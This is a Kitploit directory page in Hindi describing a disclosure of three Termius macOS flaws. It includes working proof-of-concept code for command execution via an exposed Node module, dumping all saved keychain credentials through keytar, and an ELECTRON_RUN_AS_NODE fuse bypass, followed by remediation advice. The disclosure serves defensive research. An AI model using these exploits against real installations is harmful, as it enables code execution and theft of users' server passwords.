Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-Termius — तीन महत्वपूर्ण Termius macOS दोषों के लिए PoCs के साथ भेद्यता प्रकटीकरण: उजागर Node मॉड्यूल के माध्यम से दूरस्थ कोड निष्पादन, स्थानीय विशेषाधिकार वृद्धि क्रेडेंशियल डंप, और Electron फ्यूज बाईपास। इसमें सुधार मार्गदर्शन शामिल है। | Kitploit
उपकरण/GitHubGitHub/nicetop1027/cve-2026-termius
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपोस्ट-शोषणपेपर और शोधगलत कॉन्फ़िगरेशनलर्निंग और शिक्षा
GitHubnicetop1027/cve-2026-termius

CVE-2026-Termius

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

तीन महत्वपूर्ण Termius macOS दोषों के लिए PoCs के साथ भेद्यता प्रकटीकरण: उजागर Node मॉड्यूल के माध्यम से दूरस्थ कोड निष्पादन, स्थानीय विशेषाधिकार वृद्धि क्रेडेंशियल डंप, और Electron फ्यूज बाईपास। इसमें सुधार मार्गदर्शन शामिल है।

रिपॉजिटरी देखें
6 महीने पहलेअभी तक समीक्षित नहीं

Termius macOS एप्लीकेशन भेद्यता रिपोर्ट (CVE-2026-Termius)

लक्ष्य: Termius (macOS) परीक्षित संस्करण: नवीनतम (जनवरी 2026 तक) प्रभाव: रिमोट कोड निष्पादन (RCE), स्थानीय विशेषाधिकार वृद्धि (LPE), ऐप सुरक्षा बाइपास

🚨 कार्यकारी सारांश

Termius macOS एप्लीकेशन में तीन गंभीर भेद्यताएँ पहचानी गईं जो एक हमलावर को अनुमति देती हैं:

  1. मनमाने सिस्टम कमांड निष्पादित करना (RCE) एक छिपे हुए बैकडोर सिंबल के माध्यम से जो रेंडरर को उजागर हुआ।
  2. सभी सहेजे गए पासवर्ड डंप करना (LPE) उजागर keytar नेटिव मॉड्यूल का दुरुपयोग करके।
  3. एप्लीकेशन सुरक्षा को पूरी तरह से बाइपास करना गुम ELECTRON_RUN_AS_NODE फ्यूज़ का उपयोग करके।

1. गंभीर: छिपे हुए सिंबल के माध्यम से रिमोट कोड निष्पादन (RCE)

भेद्यता विवरण

एप्लीकेशन शक्तिशाली Node.js मॉड्यूल (child_process, fs, electron) को रेंडरर प्रक्रिया (ऐप के वेब इंटरफ़ेस भाग) में उजागर करता है। ये मॉड्यूल window ऑब्जेक्ट में एक ग्लोबल Symbol के पीछे छिपे हैं, लेकिन वे सुरक्षित रूप से पृथक नहीं हैं।

  • भेद्य कोड पैटर्न:
    root@kitploit:~
    // In extracted app source
    window[Symbol.for("preloadedModulesKey")] = {
        child_process: require('child_process'),
        // ...
    };
    

शोषण (PoC)

एक हमलावर जो क्रॉस-साइट स्क्रिप्टिंग (XSS) प्राप्त करता है, इस उजागर सिंबल का उपयोग करके तुरंत RCE तक बढ़ सकता है।

poc_rce_via_symbol.js:

root@kitploit:~
// 1. Reconstruct the hidden key using Symbol.for (Global Registry)
const hiddenKey = Symbol.for("preloadedModulesKey");

// 2. Access the exposed backdoor object
const backdoor = window[hiddenKey];

if (backdoor && backdoor.child_process) {
    console.log("RCE Target Acquired.");
    // 3. Execute arbitrary system command (e.g., Calculator)
    backdoor.child_process.exec("open -a Calculator");
}

2. गंभीर: स्थानीय क्रेडेंशियल डंपिंग (LPE)

भेद्यता विवरण

keytar नेटिव नोड मॉड्यूल, जिसका उपयोग Termius macOS कीचेन के साथ इंटरफेस करने के लिए करता है, वह भी उसी छिपे हुए सिंबल के माध्यम से उजागर होता है। यह किसी भी स्क्रिप्ट को एप्लीकेशन संदर्भ के भीतर चलने (जैसे, एक दुर्भावनापूर्ण प्लगइन, XSS, या स्थानीय प्रक्रिया इंजेक्शन) और सभी सहेजे गए सर्वरों के सादे टेक्स्ट पासवर्ड को क्वेरी और पुनर्प्राप्त करने की अनुमति देता है।

शोषण (PoC)

poc_lpe_dump_creds.js:

root@kitploit:~
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];

// Find the keytar module (name may vary slightly)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];

// Dump credentials for the default service
keytar.findCredentials("Termius").then(credentials => {
    console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
    console.table(credentials);
});

3. गंभीर: गुम इलेक्ट्रॉन फ्यूज़ (RunAsNode)

भेद्यता विवरण

Termius बाइनरी ELECTRON_RUN_AS_NODE फ्यूज़ को अक्षम नहीं करता है। यह एक गंभीर सुरक्षा गलत कॉन्फ़िगरेशन है जो किसी भी स्थानीय उपयोगकर्ता को हस्ताक्षरित Termius बाइनरी को एक मानक Node.js निष्पादन योग्य के रूप में चलाने की अनुमति देता है। यह एप्लीकेशन लॉजिक के लिए macOS कोड साइनिंग अखंडता जाँच को पूरी तरह से बाइपास करता है।

शोषण (PoC)

poc_fuse.sh:

root@kitploit:~
# Execute Termius as Node.js, running arbitrary code
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'

सुधार अनुशंसाएँ (डेवलपर्स के लिए)

  1. इलेक्ट्रॉन फ्यूज़ अक्षम करें: बिल्ड के दौरान @electron/fuses का उपयोग करके RunAsNode और EnableNodeCliInspectArguments स्पष्ट रूप से अक्षम करें।
  2. ग्लोबल सिंबल एक्सपोज़र हटाएँ: संवेदनशील मॉड्यूल को window या global से न जोड़ें। प्रतिबंधित API सतह के साथ contextBridge.exposeInMainWorld का उपयोग करें जो केवल आवश्यक फ़ंक्शन को उजागर करता है, पूरे मॉड्यूल को नहीं।
  3. IPC को स्वच्छ करें: सुनिश्चित करें कि सभी इंटर-प्रोसेस संचार (IPC) कड़ाई से टाइप और मान्य किया गया है।

Antigravity Agent द्वारा उत्पन्न रिपोर्ट

टूल डाउनलोड करें